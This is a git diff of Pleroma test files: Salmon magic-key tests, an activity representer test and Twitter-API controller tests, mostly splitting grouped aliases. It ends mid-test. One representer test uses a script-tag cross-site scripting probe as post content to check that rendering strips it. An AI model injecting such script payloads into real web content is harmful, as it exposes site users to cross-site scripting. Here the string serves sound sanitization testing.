	@magickey "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwQhh-1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"

	@wrong_magickey "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwQhh-1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAA"

	@magickey_friendica "RSA.AMwa8FUs2fWEjX0xN7yRQgegQffhBpuKNC6fa5VNSVorFjGZhRrlPMn7TQOeihlc9lBz2OsHlIedbYn2uJ7yCs0.AQAB"

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "decodes a salmon" do
	{:ok, salmon} = File.read("test/fixtures/salmon.xml")
	{:ok, doc} = Salmon.decode_and_validate(@magickey, salmon)
	assert Regex.match?(~r/xml/, doc)
	end

	test "errors on wrong magic key" do
	{:ok, salmon} = File.read("test/fixtures/salmon.xml")
	assert Salmon.decode_and_validate(@wrong_magickey, salmon) == :error
	end

	test "generates an RSA private key pem" do
	{:ok, key} = Salmon.generate_rsa_pem()
	assert is_binary(key)
	assert Regex.match?(~r/RSA/, key)
	end

	test "it encodes a magic key from a public key" do
	key = Salmon.decode_key(@magickey)
	magic_key = Salmon.encode_key(key)

	assert @magickey == magic_key
	end

	test "it decodes a friendica public key" do
	_key = Salmon.decode_key(@magickey_friendica)
	end

	test "returns a public and private key from a pem" do
	pem = File.read!("test/fixtures/private_key.pem")
	{:ok, private, public} = Salmon.keys_from_pem(pem)

	assert elem(private, 0) == :RSAPrivateKey
	assert elem(public, 0) == :RSAPublicKey
	end

	test "encodes an xml payload with a private key" do
	doc = File.read!("test/fixtures/incoming_note_activity.xml")
	pem = File.read!("test/fixtures/private_key.pem")
	{:ok, private, public} = Salmon.keys_from_pem(pem)

	# Let's try a roundtrip.
	{:ok, salmon} = Salmon.encode(private, doc)
	{:ok, decoded_doc} = Salmon.decode_and_validate(Salmon.encode_key(public), salmon)

	assert doc == decoded_doc
	end

	test "it gets a magic key" do
	salmon = File.read!("test/fixtures/salmon2.xml")
	{:ok, key} = Salmon.fetch_magic_key(salmon)

	assert key ==
	"RSA.uzg6r1peZU0vXGADWxGJ0PE34WvmhjUmydbX5YYdOiXfODVLwCMi1umGoqUDm-mRu4vNEdFBVJU1CpFA7dKzWgIsqsa501i2XqElmEveXRLvNRWFB6nG03Q5OUY2as8eE54BJm0p20GkMfIJGwP6TSFb-ICp3QjzbatuSPJ6xCE=.AQAB"
	end

	test "it pushes an activity to remote accounts it's addressed to" do
	user_data = %{
	info: %{
	salmon: "http://test-example.org/salmon"
	},
	local: false
	}

	mentioned_user = insert(:user, user_data)
	note = insert(:note)

	activity_data = %{
	"id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
	"type" => "Create",
	"actor" => note.data["actor"],
	"to" => note.data["to"] ++ [mentioned_user.ap_id],
	"object" => note.data,
	"published_at" => DateTime.utc_now() \|> DateTime.to_iso8601(),
	"context" => note.data["context"]
	}

	{:ok, activity} = Repo.insert(%Activity{data: activity_data, recipients: activity_data["to"]})
	user = Repo.get_by(User, ap_id: activity.data["actor"])
	{:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)

	poster = fn url, _data, _headers ->
	assert url == "http://test-example.org/salmon"
	end

	Salmon.publish(user, activity, poster)
	end
	end
	diff --git a/test/web/twitter_api/representers/activity_representer_test.exs b/test/web/twitter_api/representers/activity_representer_test.exs
	index ea5813733..365c7f659 100644
	--- a/test/web/twitter_api/representers/activity_representer_test.exs
	+++ b/test/web/twitter_api/representers/activity_representer_test.exs
	@@ -1,204 +1,207 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.Representers.ActivityRepresenterTest do
	use Pleroma.DataCase
	- alias Pleroma.{User, Activity, Object}
	- alias Pleroma.Web.TwitterAPI.Representers.{ActivityRepresenter, ObjectRepresenter}
	+ alias Pleroma.User
	+ alias Pleroma.Activity
	+ alias Pleroma.Object
	+ alias Pleroma.Web.TwitterAPI.Representers.ActivityRepresenter
	+ alias Pleroma.Web.TwitterAPI.Representers.ObjectRepresenter
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.TwitterAPI.UserView
	import Pleroma.Factory

	test "an announce activity" do
	user = insert(:user)
	note_activity = insert(:note_activity)
	activity_actor = Repo.get_by(User, ap_id: note_activity.data["actor"])
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])

	{:ok, announce_activity, _object} = ActivityPub.announce(user, object)
	note_activity = Activity.get_by_ap_id(note_activity.data["id"])

	status =
	ActivityRepresenter.to_map(announce_activity, %{
	users: [user, activity_actor],
	announced_activity: note_activity,
	for: user
	})

	assert status["id"] == announce_activity.id
	assert status["user"] == UserView.render("show.json", %{user: user, for: user})

	retweeted_status =
	ActivityRepresenter.to_map(note_activity, %{user: activity_actor, for: user})

	assert retweeted_status["repeated"] == true
	assert retweeted_status["id"] == note_activity.id
	assert status["statusnet_conversation_id"] == retweeted_status["statusnet_conversation_id"]

	assert status["retweeted_status"] == retweeted_status
	assert status["activity_type"] == "repeat"
	end

	test "a like activity" do
	user = insert(:user)
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])

	{:ok, like_activity, _object} = ActivityPub.like(user, object)

	status =
	ActivityRepresenter.to_map(like_activity, %{user: user, liked_activity: note_activity})

	assert status["id"] == like_activity.id
	assert status["in_reply_to_status_id"] == note_activity.id

	note_activity = Activity.get_by_ap_id(note_activity.data["id"])
	activity_actor = Repo.get_by(User, ap_id: note_activity.data["actor"])
	liked_status = ActivityRepresenter.to_map(note_activity, %{user: activity_actor, for: user})
	assert liked_status["favorited"] == true
	assert status["activity_type"] == "like"
	end

	test "an activity" do
	user = insert(:user)
	# {:ok, mentioned_user } = UserBuilder.insert(%{nickname: "shp", ap_id: "shp"})
	mentioned_user = insert(:user, %{nickname: "shp"})

	# {:ok, follower} = UserBuilder.insert(%{following: [User.ap_followers(user)]})
	follower = insert(:user, %{following: [User.ap_followers(user)]})

	object = %Object{
	data: %{
	"type" => "Image",
	"url" => [
	%{
	"type" => "Link",
	"mediaType" => "image/jpg",
	"href" => "http://example.org/image.jpg"
	}
	],
	"uuid" => 1
	}
	}

	content_html =
	"<script>alert('YAY')</script>Some :2hu: content mentioning <a href='#{mentioned_user.ap_id}'>@shp</shp>"

	content = HtmlSanitizeEx.strip_tags(content_html)
	date = DateTime.from_naive!(~N[2016-05-24 13:26:08.003], "Etc/UTC") \|> DateTime.to_iso8601()

	{:ok, convo_object} = Object.context_mapping("2hu") \|> Repo.insert()

	to = [
	User.ap_followers(user),
	"https://www.w3.org/ns/activitystreams#Public",
	mentioned_user.ap_id
	]

	activity = %Activity{
	id: 1,
	data: %{
	"type" => "Create",
	"id" => "id",
	"to" => to,
	"actor" => User.ap_id(user),
	"object" => %{
	"published" => date,
	"type" => "Note",
	"content" => content_html,
	"summary" => "2hu :2hu:",
	"inReplyToStatusId" => 213_123,
	"attachment" => [
	object
	],
	"external_url" => "some url",
	"like_count" => 5,
	"announcement_count" => 3,
	"context" => "2hu",
	"tag" => ["content", "mentioning", "nsfw"],
	"emoji" => %{
	"2hu" => "corndog.png"
	}
	},
	"published" => date,
	"context" => "2hu"
	},
	local: false,
	recipients: to
	}

	expected_html =
	"<p>2hu <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /></p>alert('YAY')Some <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /> content mentioning <a href=\"#{
	mentioned_user.ap_id
	}\">@shp</a>"

	expected_status = %{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: follower}),
	"is_local" => false,
	"statusnet_html" => expected_html,
	"text" => "2hu :2hu:" <> content,
	"is_post_verb" => true,
	"created_at" => "Tue May 24 13:26:08 +0000 2016",
	"in_reply_to_status_id" => 213_123,
	"in_reply_to_screen_name" => nil,
	"in_reply_to_user_id" => nil,
	"in_reply_to_profileurl" => nil,
	"in_reply_to_ostatus_uri" => nil,
	"statusnet_conversation_id" => convo_object.id,
	"attachments" => [
	ObjectRepresenter.to_map(object)
	],
	"attentions" => [
	UserView.render("show.json", %{user: mentioned_user, for: follower})
	],
	"fave_num" => 5,
	"repeat_num" => 3,
	"favorited" => false,
	"repeated" => false,
	"pinned" => false,
	"external_url" => "some url",
	"tags" => ["nsfw", "content", "mentioning"],
	"activity_type" => "post",
	"possibly_sensitive" => true,
	"uri" => activity.data["object"]["id"],
	"visibility" => "direct",
	"card" => nil,
	"summary" => "2hu :2hu:",
	"summary_html" =>
	"2hu <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" />"
	}

	assert ActivityRepresenter.to_map(activity, %{
	user: user,
	for: follower,
	mentioned: [mentioned_user]
	}) == expected_status
	end

	test "an undo for a follow" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, _follow} = ActivityPub.follow(follower, followed)
	{:ok, unfollow} = ActivityPub.unfollow(follower, followed)

	map = ActivityRepresenter.to_map(unfollow, %{user: follower})
	assert map["is_post_verb"] == false
	assert map["activity_type"] == "undo"
	end

	test "a delete activity" do
	object = insert(:note)
	user = User.get_by_ap_id(object.data["actor"])

	{:ok, delete} = ActivityPub.delete(object)

	map = ActivityRepresenter.to_map(delete, %{user: user})

	assert map["is_post_verb"] == false
	assert map["activity_type"] == "delete"
	assert map["uri"] == object.data["id"]
	end
	end
	diff --git a/test/web/twitter_api/twitter_api_controller_test.exs b/test/web/twitter_api/twitter_api_controller_test.exs
	index 855ae1526..acb03b146 100644
	--- a/test/web/twitter_api/twitter_api_controller_test.exs
	+++ b/test/web/twitter_api/twitter_api_controller_test.exs
	@@ -1,1879 +1,1884 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.ControllerTest do
	use Pleroma.Web.ConnCase
	alias Pleroma.Web.TwitterAPI.Representers.ActivityRepresenter
	- alias Pleroma.Builders.{ActivityBuilder, UserBuilder}
	- alias Pleroma.{Repo, Activity, User, Object, Notification}
	+ alias Pleroma.Builders.ActivityBuilder
	+ alias Pleroma.Builders.UserBuilder
	+ alias Pleroma.Repo
	+ alias Pleroma.Activity
	+ alias Pleroma.User
	+ alias Pleroma.Object
	+ alias Pleroma.Notification
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.TwitterAPI.UserView
	alias Pleroma.Web.TwitterAPI.NotificationView
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.TwitterAPI.TwitterAPI
	alias Comeonin.Pbkdf2
	alias Ecto.Changeset

	import Pleroma.Factory

	@banner "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7"

	describe "POST /api/account/update_profile_banner" do
	test "it updates the banner", %{conn: conn} do
	user = insert(:user)

	conn
	\|> assign(:user, user)
	\|> post(authenticated_twitter_api__path(conn, :update_banner), %{"banner" => @banner})
	\|> json_response(200)

	user = refresh_record(user)
	assert user.info.banner["type"] == "Image"
	end
	end

	describe "POST /api/qvitter/update_background_image" do
	test "it updates the background", %{conn: conn} do
	user = insert(:user)

	conn
	\|> assign(:user, user)
	\|> post(authenticated_twitter_api__path(conn, :update_background), %{"img" => @banner})
	\|> json_response(200)

	user = refresh_record(user)
	assert user.info.background["type"] == "Image"
	end
	end

	describe "POST /api/account/verify_credentials" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/account/verify_credentials.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: user} do
	response =
	conn
	\|> with_credentials(user.nickname, "test")
	\|> post("/api/account/verify_credentials.json")
	\|> json_response(200)

	assert response ==
	UserView.render("show.json", %{user: user, token: response["token"], for: user})
	end
	end

	describe "POST /statuses/update.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/statuses/update.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: user} do
	conn_with_creds = conn \|> with_credentials(user.nickname, "test")
	request_path = "/api/statuses/update.json"

	error_response = %{
	"request" => request_path,
	"error" => "Client must provide a 'status' parameter with a value."
	}

	conn =
	conn_with_creds
	\|> post(request_path)

	assert json_response(conn, 400) == error_response

	conn =
	conn_with_creds
	\|> post(request_path, %{status: ""})

	assert json_response(conn, 400) == error_response

	conn =
	conn_with_creds
	\|> post(request_path, %{status: " "})

	assert json_response(conn, 400) == error_response

	# we post with visibility private in order to avoid triggering relay
	conn =
	conn_with_creds
	\|> post(request_path, %{status: "Nice meme.", visibility: "private"})

	assert json_response(conn, 200) ==
	ActivityRepresenter.to_map(Repo.one(Activity), %{user: user, for: user})
	end
	end

	describe "GET /statuses/public_timeline.json" do
	setup [:valid_user]

	test "returns statuses", %{conn: conn} do
	user = insert(:user)
	activities = ActivityBuilder.insert_list(30, %{}, %{user: user})
	ActivityBuilder.insert_list(10, %{}, %{user: user})
	since_id = List.last(activities).id

	conn =
	conn
	\|> get("/api/statuses/public_timeline.json", %{since_id: since_id})

	response = json_response(conn, 200)

	assert length(response) == 10
	end

	test "returns 403 to unauthenticated request when the instance is not public", %{conn: conn} do
	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, false)

	Application.put_env(:pleroma, :instance, instance)

	conn
	\|> get("/api/statuses/public_timeline.json")
	\|> json_response(403)

	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, true)

	Application.put_env(:pleroma, :instance, instance)
	end

	test "returns 200 to authenticated request when the instance is not public",
	%{conn: conn, user: user} do
	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, false)

	Application.put_env(:pleroma, :instance, instance)

	conn
	\|> with_credentials(user.nickname, "test")
	\|> get("/api/statuses/public_timeline.json")
	\|> json_response(200)

	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, true)

	Application.put_env(:pleroma, :instance, instance)
	end

	test "returns 200 to unauthenticated request when the instance is public", %{conn: conn} do
	conn
	\|> get("/api/statuses/public_timeline.json")
	\|> json_response(200)
	end

	test "returns 200 to authenticated request when the instance is public",
	%{conn: conn, user: user} do
	conn
	\|> with_credentials(user.nickname, "test")
	\|> get("/api/statuses/public_timeline.json")
	\|> json_response(200)
	end
	end

	describe "GET /statuses/public_and_external_timeline.json" do
	setup [:valid_user]

	test "returns 403 to unauthenticated request when the instance is not public", %{conn: conn} do
	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, false)

	Application.put_env(:pleroma, :instance, instance)

	conn
	\|> get("/api/statuses/public_and_external_timeline.json")
	\|> json_response(403)

	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, true)

	Application.put_env(:pleroma, :instance, instance)
	end

	test "returns 200 to authenticated request when the instance is not public",
	%{conn: conn, user: user} do
	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, false)

	Application.put_env(:pleroma, :instance, instance)

	conn
	\|> with_credentials(user.nickname, "test")
	\|> get("/api/statuses/public_and_external_timeline.json")
	\|> json_response(200)

	instance =
	Application.get_env(:pleroma, :instance)
	\|> Keyword.put(:public, true)

	Application.put_env(:pleroma, :instance, instance)
	end

	test "returns 200 to unauthenticated request when the instance is public", %{conn: conn} do
	conn
	\|> get("/api/statuses/public_and_external_timeline.json")
	\|> json_response(200)
	end

	test "returns 200 to authenticated request when the instance is public",
	%{conn: conn, user: user} do
	conn
	\|> with_credentials(user.nickname, "test")
	\|> get("/api/statuses/public_and_external_timeline.json")
	\|> json_response(200)
	end
	end

	describe "GET /statuses/show/:id.json" do
	test "returns one status", %{conn: conn} do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey!"})
	actor = Repo.get_by!(User, ap_id: activity.data["actor"])

	conn =
	conn
	\|> get("/api/statuses/show/#{activity.id}.json")

	response = json_response(conn, 200)

	assert response == ActivityRepresenter.to_map(activity, %{user: actor})
	end
	end

	describe "GET /users/show.json" do
	test "gets user with screen_name", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> get("/api/users/show.json", %{"screen_name" => user.nickname})

	response = json_response(conn, 200)

	assert response["id"] == user.id
	end

	test "gets user with user_id", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> get("/api/users/show.json", %{"user_id" => user.id})

	response = json_response(conn, 200)

	assert response["id"] == user.id
	end

	test "gets a user for a logged in user", %{conn: conn} do
	user = insert(:user)
	logged_in = insert(:user)

	{:ok, logged_in, user, _activity} = TwitterAPI.follow(logged_in, %{"user_id" => user.id})

	conn =
	conn
	\|> with_credentials(logged_in.nickname, "test")
	\|> get("/api/users/show.json", %{"user_id" => user.id})

	response = json_response(conn, 200)

	assert response["following"] == true
	end
	end

	describe "GET /statusnet/conversation/:id.json" do
	test "returns the statuses in the conversation", %{conn: conn} do
	{:ok, _user} = UserBuilder.insert()
	{:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, _activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"})

	conn =
	conn
	\|> get("/api/statusnet/conversation/#{activity.data["context_id"]}.json")

	response = json_response(conn, 200)

	assert length(response) == 2
	end
	end

	describe "GET /statuses/friends_timeline.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = get(conn, "/api/statuses/friends_timeline.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	user = insert(:user)

	activities =
	ActivityBuilder.insert_list(30, %{"to" => [User.ap_followers(user)]}, %{user: user})

	returned_activities =
	ActivityBuilder.insert_list(10, %{"to" => [User.ap_followers(user)]}, %{user: user})

	other_user = insert(:user)
	ActivityBuilder.insert_list(10, %{}, %{user: other_user})
	since_id = List.last(activities).id

	current_user =
	Changeset.change(current_user, following: [User.ap_followers(user)])
	\|> Repo.update!()

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/statuses/friends_timeline.json", %{since_id: since_id})

	response = json_response(conn, 200)

	assert length(response) == 10

	assert response ==
	Enum.map(returned_activities, fn activity ->
	ActivityRepresenter.to_map(activity, %{
	user: User.get_cached_by_ap_id(activity.data["actor"]),
	for: current_user
	})
	end)
	end
	end

	describe "GET /statuses/dm_timeline.json" do
	test "it show direct messages", %{conn: conn} do
	user_one = insert(:user)
	user_two = insert(:user)

	{:ok, user_two} = User.follow(user_two, user_one)

	{:ok, direct} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "direct"
	})

	{:ok, direct_two} =
	CommonAPI.post(user_two, %{
	"status" => "Hi @#{user_one.nickname}!",
	"visibility" => "direct"
	})

	{:ok, _follower_only} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "private"
	})

	# Only direct should be visible here
	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("/api/statuses/dm_timeline.json")

	[status, status_two] = json_response(res_conn, 200)
	assert status["id"] == direct_two.id
	assert status_two["id"] == direct.id
	end
	end

	describe "GET /statuses/mentions.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = get(conn, "/api/statuses/mentions.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	{:ok, activity} =
	ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: current_user})

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/statuses/mentions.json")

	response = json_response(conn, 200)

	assert length(response) == 1

	assert Enum.at(response, 0) ==
	ActivityRepresenter.to_map(activity, %{
	user: current_user,
	for: current_user,
	mentioned: [current_user]
	})
	end
	end

	describe "GET /api/qvitter/statuses/notifications.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = get(conn, "/api/qvitter/statuses/notifications.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	other_user = insert(:user)

	{:ok, _activity} =
	ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/qvitter/statuses/notifications.json")

	response = json_response(conn, 200)

	assert length(response) == 1

	assert response ==
	NotificationView.render("notification.json", %{
	notifications: Notification.for_user(current_user),
	for: current_user
	})
	end
	end

	describe "POST /api/qvitter/statuses/notifications/read" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567})
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials, without any params", %{conn: conn, user: current_user} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/qvitter/statuses/notifications/read")

	assert json_response(conn, 400) == %{
	"error" => "You need to specify latest_id",
	"request" => "/api/qvitter/statuses/notifications/read"
	}
	end

	test "with credentials, with params", %{conn: conn, user: current_user} do
	other_user = insert(:user)

	{:ok, _activity} =
	ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})

	response_conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/qvitter/statuses/notifications.json")

	[notification] = response = json_response(response_conn, 200)

	assert length(response) == 1

	assert notification["is_seen"] == 0

	response_conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]})

	[notification] = response = json_response(response_conn, 200)

	assert length(response) == 1

	assert notification["is_seen"] == 1
	end
	end

	describe "GET /statuses/user_timeline.json" do
	setup [:valid_user]

	test "without any params", %{conn: conn} do
	conn = get(conn, "/api/statuses/user_timeline.json")

	assert json_response(conn, 400) == %{
	"error" => "You need to specify screen_name or user_id",
	"request" => "/api/statuses/user_timeline.json"
	}
	end

	test "with user_id", %{conn: conn} do
	user = insert(:user)
	{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})

	conn = get(conn, "/api/statuses/user_timeline.json", %{"user_id" => user.id})
	response = json_response(conn, 200)
	assert length(response) == 1
	assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
	end

	test "with screen_name", %{conn: conn} do
	user = insert(:user)
	{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})

	conn = get(conn, "/api/statuses/user_timeline.json", %{"screen_name" => user.nickname})
	response = json_response(conn, 200)
	assert length(response) == 1
	assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
	end

	test "with credentials", %{conn: conn, user: current_user} do
	{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: current_user})

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/statuses/user_timeline.json")

	response = json_response(conn, 200)

	assert length(response) == 1

	assert Enum.at(response, 0) ==
	ActivityRepresenter.to_map(activity, %{user: current_user, for: current_user})
	end

	test "with credentials with user_id", %{conn: conn, user: current_user} do
	user = insert(:user)
	{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/statuses/user_timeline.json", %{"user_id" => user.id})

	response = json_response(conn, 200)

	assert length(response) == 1
	assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
	end

	test "with credentials screen_name", %{conn: conn, user: current_user} do
	user = insert(:user)
	{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/statuses/user_timeline.json", %{"screen_name" => user.nickname})

	response = json_response(conn, 200)

	assert length(response) == 1
	assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
	end

	test "with credentials with user_id, excluding RTs", %{conn: conn, user: current_user} do
	user = insert(:user)
	{:ok, activity} = ActivityBuilder.insert(%{"id" => 1, "type" => "Create"}, %{user: user})
	{:ok, _} = ActivityBuilder.insert(%{"id" => 2, "type" => "Announce"}, %{user: user})

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/statuses/user_timeline.json", %{
	"user_id" => user.id,
	"include_rts" => "false"
	})

	response = json_response(conn, 200)

	assert length(response) == 1
	assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})

	conn =
	conn
	\|> get("/api/statuses/user_timeline.json", %{"user_id" => user.id, "include_rts" => "0"})

	response = json_response(conn, 200)

	assert length(response) == 1
	assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
	end
	end

	describe "POST /friendships/create.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/friendships/create.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	followed = insert(:user)

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/friendships/create.json", %{user_id: followed.id})

	current_user = Repo.get(User, current_user.id)
	assert User.ap_followers(followed) in current_user.following

	assert json_response(conn, 200) ==
	UserView.render("show.json", %{user: followed, for: current_user})
	end
	end

	describe "POST /friendships/destroy.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/friendships/destroy.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	followed = insert(:user)

	{:ok, current_user} = User.follow(current_user, followed)
	assert User.ap_followers(followed) in current_user.following
	ActivityPub.follow(current_user, followed)

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/friendships/destroy.json", %{user_id: followed.id})

	current_user = Repo.get(User, current_user.id)
	assert current_user.following == [current_user.ap_id]

	assert json_response(conn, 200) ==
	UserView.render("show.json", %{user: followed, for: current_user})
	end
	end

	describe "POST /blocks/create.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/blocks/create.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	blocked = insert(:user)

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/blocks/create.json", %{user_id: blocked.id})

	current_user = Repo.get(User, current_user.id)
	assert User.blocks?(current_user, blocked)

	assert json_response(conn, 200) ==
	UserView.render("show.json", %{user: blocked, for: current_user})
	end
	end

	describe "POST /blocks/destroy.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/blocks/destroy.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	blocked = insert(:user)

	{:ok, current_user, blocked} = TwitterAPI.block(current_user, %{"user_id" => blocked.id})
	assert User.blocks?(current_user, blocked)

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/blocks/destroy.json", %{user_id: blocked.id})

	current_user = Repo.get(User, current_user.id)
	assert current_user.info.blocks == []

	assert json_response(conn, 200) ==
	UserView.render("show.json", %{user: blocked, for: current_user})
	end
	end

	describe "GET /help/test.json" do
	test "returns \"ok\"", %{conn: conn} do
	conn = get(conn, "/api/help/test.json")
	assert json_response(conn, 200) == "ok"
	end
	end

	describe "POST /api/qvitter/update_avatar.json" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/qvitter/update_avatar.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	avatar_image = File.read!("test/fixtures/avatar_data_uri")

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/qvitter/update_avatar.json", %{img: avatar_image})

	current_user = Repo.get(User, current_user.id)
	assert is_map(current_user.avatar)

	assert json_response(conn, 200) ==
	UserView.render("show.json", %{user: current_user, for: current_user})
	end
	end

	describe "GET /api/qvitter/mutes.json" do
	setup [:valid_user]

	test "unimplemented mutes without valid credentials", %{conn: conn} do
	conn = get(conn, "/api/qvitter/mutes.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "unimplemented mutes with credentials", %{conn: conn, user: current_user} do
	response =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> get("/api/qvitter/mutes.json")
